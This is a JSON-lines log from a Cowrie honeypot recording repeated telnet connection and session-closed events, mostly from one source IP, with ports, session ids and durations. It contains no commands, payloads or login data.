{"eventid":"cowrie.session.closed","duration":30.491713762283325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:00.320218Z","src_ip":"194.163.135.148","session":"c52518f58528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.982446908950806,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:00.489689Z","src_ip":"194.163.135.148","session":"d85a11f16b46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47304,"dst_ip":"159.203.135.109","dst_port":23,"session":"69f1a6334db6","protocol":"telnet","message":"New connection: 194.163.135.148:47304 (159.203.135.109:23) [session: 69f1a6334db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:00.970419Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47322,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8e61f336e64","protocol":"telnet","message":"New connection: 194.163.135.148:47322 (159.203.135.109:23) [session: c8e61f336e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:01.981908Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47334,"dst_ip":"159.203.135.109","dst_port":23,"session":"79afa3dbb33a","protocol":"telnet","message":"New connection: 194.163.135.148:47334 (159.203.135.109:23) [session: 79afa3dbb33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:02.395543Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47338,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4385413c816","protocol":"telnet","message":"New connection: 194.163.135.148:47338 (159.203.135.109:23) [session: d4385413c816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:03.211904Z"}
{"eventid":"cowrie.session.closed","duration":31.358792304992676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:03.253528Z","src_ip":"194.163.135.148","session":"83da23af82b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47380,"dst_ip":"159.203.135.109","dst_port":23,"session":"6224cfb90e3d","protocol":"telnet","message":"New connection: 194.163.135.148:47380 (159.203.135.109:23) [session: 6224cfb90e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:08.155330Z"}
{"eventid":"cowrie.session.closed","duration":34.67842245101929,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:08.981641Z","src_ip":"194.163.135.148","session":"b2bff651333a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47406,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9660f3825c5","protocol":"telnet","message":"New connection: 194.163.135.148:47406 (159.203.135.109:23) [session: c9660f3825c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:09.334028Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47428,"dst_ip":"159.203.135.109","dst_port":23,"session":"567f0809b8ca","protocol":"telnet","message":"New connection: 194.163.135.148:47428 (159.203.135.109:23) [session: 567f0809b8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:10.645133Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":49772,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d767923f5bb","protocol":"telnet","message":"New connection: 103.115.172.252:49772 (10.17.0.5:23) [session: 9d767923f5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:10.928981Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47420,"dst_ip":"159.203.135.109","dst_port":23,"session":"b39458b76ca3","protocol":"telnet","message":"New connection: 194.163.135.148:47420 (159.203.135.109:23) [session: b39458b76ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:11.027616Z"}
{"eventid":"cowrie.session.closed","duration":31.501164436340332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:11.199466Z","src_ip":"194.163.135.148","session":"68bfaf1ee4e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47440,"dst_ip":"159.203.135.109","dst_port":23,"session":"f337b72083eb","protocol":"telnet","message":"New connection: 194.163.135.148:47440 (159.203.135.109:23) [session: f337b72083eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:11.918744Z"}
{"eventid":"cowrie.session.closed","duration":30.12784504890442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:12.066733Z","src_ip":"194.163.135.148","session":"4d70c4aaebb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.42224431037903,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:12.110299Z","src_ip":"194.163.135.148","session":"6d8f3e6cb1e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47450,"dst_ip":"159.203.135.109","dst_port":23,"session":"e829e6db4f93","protocol":"telnet","message":"New connection: 194.163.135.148:47450 (159.203.135.109:23) [session: e829e6db4f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:13.061978Z"}
{"eventid":"cowrie.session.closed","duration":31.029110193252563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:13.352113Z","src_ip":"194.163.135.148","session":"cff67ceb6cd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.97619342803955,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:13.535616Z","src_ip":"194.163.135.148","session":"581571ecfb7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.93467450141907,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:14.129560Z","src_ip":"194.163.135.148","session":"55f47ecd2892","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47454,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea77745f78cd","protocol":"telnet","message":"New connection: 194.163.135.148:47454 (159.203.135.109:23) [session: ea77745f78cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:14.358983Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47492,"dst_ip":"159.203.135.109","dst_port":23,"session":"22da2e474bce","protocol":"telnet","message":"New connection: 194.163.135.148:47492 (159.203.135.109:23) [session: 22da2e474bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:15.600545Z"}
{"eventid":"cowrie.session.closed","duration":32.19902849197388,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:15.651290Z","src_ip":"194.163.135.148","session":"4615f8990ebb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47522,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5234b21fd6a","protocol":"telnet","message":"New connection: 194.163.135.148:47522 (159.203.135.109:23) [session: a5234b21fd6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:18.192300Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47546,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b7f5c79f458","protocol":"telnet","message":"New connection: 194.163.135.148:47546 (159.203.135.109:23) [session: 7b7f5c79f458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:19.220023Z"}
{"eventid":"cowrie.session.closed","duration":33.645272970199585,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:19.795336Z","src_ip":"194.163.135.148","session":"ae16871293c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47560,"dst_ip":"159.203.135.109","dst_port":23,"session":"551e52ce69f6","protocol":"telnet","message":"New connection: 194.163.135.148:47560 (159.203.135.109:23) [session: 551e52ce69f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:19.982461Z"}
{"eventid":"cowrie.session.closed","duration":32.73119568824768,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:20.014841Z","src_ip":"194.163.135.148","session":"2e539a97ecce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47566,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2dc7a9bac82","protocol":"telnet","message":"New connection: 194.163.135.148:47566 (159.203.135.109:23) [session: b2dc7a9bac82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:20.330223Z"}
{"eventid":"cowrie.session.closed","duration":32.746071338653564,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:21.268293Z","src_ip":"194.163.135.148","session":"a137579dcdd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.05384421348572,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:21.528321Z","src_ip":"194.163.135.148","session":"6ecb9f6074d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.574296712875366,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:21.711533Z","src_ip":"194.163.135.148","session":"53e0484a8e20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.767523527145386,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:21.787808Z","src_ip":"194.163.135.148","session":"a34aea57f596","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.885984659194946,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:21.869973Z","src_ip":"194.163.135.148","session":"a2cce4068183","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.11738705635071,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:22.660726Z","src_ip":"194.163.135.148","session":"48c1c3459531","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47586,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f7fb08ba8bf","protocol":"telnet","message":"New connection: 194.163.135.148:47586 (159.203.135.109:23) [session: 9f7fb08ba8bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:23.711592Z"}
{"eventid":"cowrie.session.closed","duration":37.12695074081421,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:24.351595Z","src_ip":"194.163.135.148","session":"fe3e3588a073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.021530866622925,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:24.492758Z","src_ip":"194.163.135.148","session":"ebe3b00930b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47604,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dc6a5fbfce6","protocol":"telnet","message":"New connection: 194.163.135.148:47604 (159.203.135.109:23) [session: 5dc6a5fbfce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:24.857064Z"}
{"eventid":"cowrie.session.closed","duration":33.654900312423706,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:25.229451Z","src_ip":"194.163.135.148","session":"8b765d9e4d26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.95434260368347,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:25.682229Z","src_ip":"103.115.172.252","session":"c5096467638f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.93595767021179,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:27.569655Z","src_ip":"194.163.135.148","session":"1c73746fe30d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47622,"dst_ip":"159.203.135.109","dst_port":23,"session":"49c31126775e","protocol":"telnet","message":"New connection: 194.163.135.148:47622 (159.203.135.109:23) [session: 49c31126775e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:28.116218Z"}
{"eventid":"cowrie.session.closed","duration":33.327215909957886,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:29.650266Z","src_ip":"194.163.135.148","session":"22cfd18fd74d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.484047412872314,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:30.271211Z","src_ip":"194.163.135.148","session":"8ce6246d8873","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19674730300903,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:32.259980Z","src_ip":"194.163.135.148","session":"c3437fc7a757","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47692,"dst_ip":"159.203.135.109","dst_port":23,"session":"a811b90ae8f8","protocol":"telnet","message":"New connection: 194.163.135.148:47692 (159.203.135.109:23) [session: a811b90ae8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:32.953671Z"}
{"eventid":"cowrie.session.closed","duration":32.62846326828003,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:33.598753Z","src_ip":"194.163.135.148","session":"69f1a6334db6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47724,"dst_ip":"159.203.135.109","dst_port":23,"session":"66d35d0cb385","protocol":"telnet","message":"New connection: 194.163.135.148:47724 (159.203.135.109:23) [session: 66d35d0cb385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:35.382265Z"}
{"eventid":"cowrie.session.closed","duration":36.92212772369385,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:35.397328Z","src_ip":"103.115.172.252","session":"57bf27a251f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.47532558441162,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:35.870761Z","src_ip":"194.163.135.148","session":"79afa3dbb33a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.27949357032776,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:36.261268Z","src_ip":"194.163.135.148","session":"c8e61f336e64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47744,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcc58d88911b","protocol":"telnet","message":"New connection: 194.163.135.148:47744 (159.203.135.109:23) [session: bcc58d88911b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:38.292036Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47758,"dst_ip":"159.203.135.109","dst_port":23,"session":"47f36a1b0aa2","protocol":"telnet","message":"New connection: 194.163.135.148:47758 (159.203.135.109:23) [session: 47f36a1b0aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:40.346917Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47770,"dst_ip":"159.203.135.109","dst_port":23,"session":"e708328f72b7","protocol":"telnet","message":"New connection: 194.163.135.148:47770 (159.203.135.109:23) [session: e708328f72b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:40.441574Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47786,"dst_ip":"159.203.135.109","dst_port":23,"session":"418a17a1f1d5","protocol":"telnet","message":"New connection: 194.163.135.148:47786 (159.203.135.109:23) [session: 418a17a1f1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:40.482626Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47788,"dst_ip":"159.203.135.109","dst_port":23,"session":"45361d97510c","protocol":"telnet","message":"New connection: 194.163.135.148:47788 (159.203.135.109:23) [session: 45361d97510c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:40.550127Z"}
{"eventid":"cowrie.session.closed","duration":38.42035698890686,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:41.632137Z","src_ip":"194.163.135.148","session":"d4385413c816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47794,"dst_ip":"159.203.135.109","dst_port":23,"session":"77804315e677","protocol":"telnet","message":"New connection: 194.163.135.148:47794 (159.203.135.109:23) [session: 77804315e677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:42.069140Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47808,"dst_ip":"159.203.135.109","dst_port":23,"session":"a39b14ebe0f0","protocol":"telnet","message":"New connection: 194.163.135.148:47808 (159.203.135.109:23) [session: a39b14ebe0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:42.336457Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47818,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdfe1e535972","protocol":"telnet","message":"New connection: 194.163.135.148:47818 (159.203.135.109:23) [session: cdfe1e535972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:42.669041Z"}
{"eventid":"cowrie.session.closed","duration":34.61024332046509,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:42.765443Z","src_ip":"194.163.135.148","session":"6224cfb90e3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.58669352531433,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:44.505311Z","src_ip":"194.163.135.148","session":"f337b72083eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47840,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bfe27228e9f","protocol":"telnet","message":"New connection: 194.163.135.148:47840 (159.203.135.109:23) [session: 9bfe27228e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:45.104497Z"}
{"eventid":"cowrie.session.closed","duration":34.310925006866455,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:45.338434Z","src_ip":"194.163.135.148","session":"b39458b76ca3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.06895661354065,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:45.403451Z","src_ip":"194.163.135.148","session":"c9660f3825c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.94283986091614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:45.587836Z","src_ip":"194.163.135.148","session":"567f0809b8ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47854,"dst_ip":"159.203.135.109","dst_port":23,"session":"92b9195d5cf4","protocol":"telnet","message":"New connection: 194.163.135.148:47854 (159.203.135.109:23) [session: 92b9195d5cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:46.249878Z"}
{"eventid":"cowrie.session.closed","duration":32.90459442138672,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:47.263441Z","src_ip":"194.163.135.148","session":"ea77745f78cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.72995066642761,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:47.791781Z","src_ip":"194.163.135.148","session":"e829e6db4f93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47870,"dst_ip":"159.203.135.109","dst_port":23,"session":"6524fa37f462","protocol":"telnet","message":"New connection: 194.163.135.148:47870 (159.203.135.109:23) [session: 6524fa37f462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:48.278400Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47886,"dst_ip":"159.203.135.109","dst_port":23,"session":"e009cfd3da8c","protocol":"telnet","message":"New connection: 194.163.135.148:47886 (159.203.135.109:23) [session: e009cfd3da8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:48.923721Z"}
{"eventid":"cowrie.session.closed","duration":39.656285524368286,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:50.585023Z","src_ip":"103.115.172.252","session":"9d767923f5bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.26086735725403,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:51.861280Z","src_ip":"194.163.135.148","session":"22da2e474bce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47918,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff4bb84f3559","protocol":"telnet","message":"New connection: 194.163.135.148:47918 (159.203.135.109:23) [session: ff4bb84f3559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:52.846451Z"}
{"eventid":"cowrie.session.closed","duration":34.44505786895752,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:53.664948Z","src_ip":"194.163.135.148","session":"7b7f5c79f458","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47924,"dst_ip":"159.203.135.109","dst_port":23,"session":"32fdfe5ebb80","protocol":"telnet","message":"New connection: 194.163.135.148:47924 (159.203.135.109:23) [session: 32fdfe5ebb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:53.723878Z"}
{"eventid":"cowrie.session.closed","duration":35.58031105995178,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:53.772448Z","src_ip":"194.163.135.148","session":"a5234b21fd6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47938,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5a4901c9e4f","protocol":"telnet","message":"New connection: 194.163.135.148:47938 (159.203.135.109:23) [session: a5a4901c9e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:55.031541Z"}
{"eventid":"cowrie.session.closed","duration":30.61315894126892,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:55.470061Z","src_ip":"194.163.135.148","session":"5dc6a5fbfce6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":47952,"dst_ip":"159.203.135.109","dst_port":23,"session":"85854d85e529","protocol":"telnet","message":"New connection: 194.163.135.148:47952 (159.203.135.109:23) [session: 85854d85e529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:56.202311Z"}
{"eventid":"cowrie.session.closed","duration":32.49721574783325,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:49:56.208684Z","src_ip":"194.163.135.148","session":"9f7fb08ba8bf","protocol":"telnet"}
